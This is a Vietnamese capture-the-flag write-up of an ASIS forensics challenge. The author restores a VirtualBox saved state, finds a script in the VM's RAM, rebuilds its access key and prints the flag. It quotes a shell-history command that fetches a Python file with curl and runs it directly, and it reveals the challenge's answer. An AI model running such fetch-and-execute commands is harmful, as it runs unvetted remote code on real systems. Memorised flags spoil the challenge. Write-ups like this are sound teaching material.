
Mình đã tạo một máy ảo VirtualBox với hệ điều hành là Ubuntu x64, để ổ cứng kết nối ở IDE Primary Master, card mạng là Am79C973, RAM là 128MB. Sau đó mình boot máy ảo này, suspend nó, rồi ghi đè file đã cho vào file .sav được VirtualBox tạo ra. Sau đó khi khởi động lại, mình vào được trạng thái đang lưu trong file .sav với hệ điều hành là Tiny Core Linux:

Ở trong lịch sử dòng lệnh, có một lệnh là

python -c "$(curl -fSsL http://a.asis.io/0QnqZU9F)"

Lệnh này down 1 file .py từ server và thực hiện file này. Mình đã không quan tâm đến nó trong khi đây chính là mấu chốt của bài toán :< (cảm ơn anh @yeuchimse đã chỉ cho em đoạn này :3).

Như vậy có khả năng file Python kia vẫn còn được lưu đâu đó ở trong RAM của máy ảo, vì vậy cần phải đọc được RAM và tìm kiếm đoạn 'Please enter the access key' vì khi chương trình được chạy có in ra dòng này. Trong quá trình thi, mình đã chạy VirtualBox trong một máy ảo VMware và dump RAM của máy ảo VMware để tìm trong đó :<. Tuy vậy có một cách đơn giản hơn là dùng HxD hoặc Cheat Engine. Sau khi tìm kiếm với chuỗi:

'Please enter the access key

, ta tìm được đoạn code:

Đoạn code này yêu cầu nhập 1 chuỗi là key, và nếu key đúng sẽ in ra thứ gì đó. Thử xây dựng lại key từ file code tìm được, sau đó dùng key này để tìm chuỗi in ra:

import hashlib
 
# calculate key
key_ar = [0 for i in range(5)]
key_ar[0] = hex(58559604012647)[2:].decode('hex')
key_ar[1] = hex(27697077611219024)[2:].decode('hex')
key_ar[2] = hex(28839576914310229)[2:].decode('hex')
key_ar[3] = hex(14469853439423811)[2:].decode('hex')
key_ar[4] = hex(21189029315236706)[2:].decode('hex')
key = '-'.join(key_ar)
 
# original code
# key = raw_input('Please enter the access key: ').strip()
if len(key) == 38:
    key_ar = key.split('-')
    if len(key_ar) == 5:
        if int(key_ar[0].encode('hex'), 16) ==  58559604012647:
            if int(key_ar[1].encode('hex'), 16) == 27697077611219024:
                if int(key_ar[2].encode('hex'), 16) == 28839576914310229:
                    if int(key_ar[3].encode('hex'), 16) == 14469853439423811:
                        if int(key_ar[4].encode('hex'), 16) == 21189029315236706:
                            print key[18] + key[-2] + chr(ord(key[26]) - 1) + key[-2] + '{' + hashlib.md5(key).hexdigest() + '}'
                        else:
                             print 'You access key is not correct! Banned!!'
                    else:
                        print 'You access key is not correct! Banned!!'
                else:
                    print 'You access key is not correct! Banned!!'
            else:
                print 'You access key is not correct! Banned!!'
        else:
            print 'You access key is not correct! Banned!!'
    else:
        print 'You access key is not correct! Banned!!'
else:
    print 'You access key is not correct! Banned!!'

Sau khi chạy file trên, ta được flag:

ASIS{632253c69a6049594bc303f0af0042b8}